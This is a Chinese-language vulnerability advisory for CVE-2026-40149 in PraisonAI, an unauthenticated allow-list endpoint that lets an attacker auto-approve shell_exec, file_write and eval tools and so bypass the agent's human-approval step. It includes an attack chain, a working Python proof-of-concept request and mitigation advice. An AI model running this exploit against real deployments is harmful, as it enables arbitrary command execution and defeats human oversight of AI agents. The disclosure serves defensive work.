IPBUF安全漏洞报告
English
CVE-2026-40149 CVSS 7.9 高危

CVE-2026-40149 PraisonAI权限绕过漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-40149
漏洞类型
权限绕过
CVSS评分
7.9 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

权限绕过PraisonAICVE-2026-40149远程代码执行访问控制失效

漏洞概述

PraisonAI在4.5.128之前的版本中存在权限绕过漏洞。当系统未配置认证令牌时,攻击者可未经授权修改工具审批白名单,将危险工具加入其中,从而绕过人工审批机制自动执行恶意操作。

技术细节

该漏洞源于PraisonAI网关组件的`/api/approval/allow-list`端点在默认配置下缺乏身份验证机制。攻击者无需认证即可向该端点发送请求,修改`ExecApprovalManager`使用的工具审批白名单。通过将`shell_exec`或`file_write`等高危工具名称注入白名单,攻击者能够导致系统自动批准所有后续对该类工具的调用请求。此行为完全绕过了“人在回路”的安全防护机制,使得攻击者能够利用AI代理执行任意命令或篡改文件,对系统完整性造成严重影响。

攻击链分析

STEP 1
信息收集
攻击者发现目标系统运行的是PraisonAI且版本低于4.5.128,并检测到网关接口未配置auth_token。
STEP 2
漏洞利用
攻击者向/api/approval/allow-list端点发送恶意POST请求,将shell_exec等危险工具加入白名单。
STEP 3
权限提升与执行
ExecApprovalManager自动批准白名单中的工具调用,绕过人工审核,攻击者触发AI代理执行恶意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # The endpoint to modify the allow-list endpoint = f"{target_url}/api/approval/allow-list" # Dangerous tools to add to the allow-list to bypass human approval malicious_payload = { "tools": ["shell_exec", "file_write", "eval"] } try: # Send unauthenticated POST request to modify the allowlist response = requests.post(endpoint, json=malicious_payload, timeout=10) if response.status_code == 200: print("[+] Success: Tool approval allow-list modified.") print("[+] Dangerous tools are now auto-approved.") else: print(f"[-] Failed: HTTP {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual target exploit(target)

影响范围

PraisonAI < 4.5.128

防御指南

临时缓解措施
如果无法立即升级,请务必配置auth_token以启用身份验证,并通过防火墙限制仅受信任的IP地址可以访问网关API接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表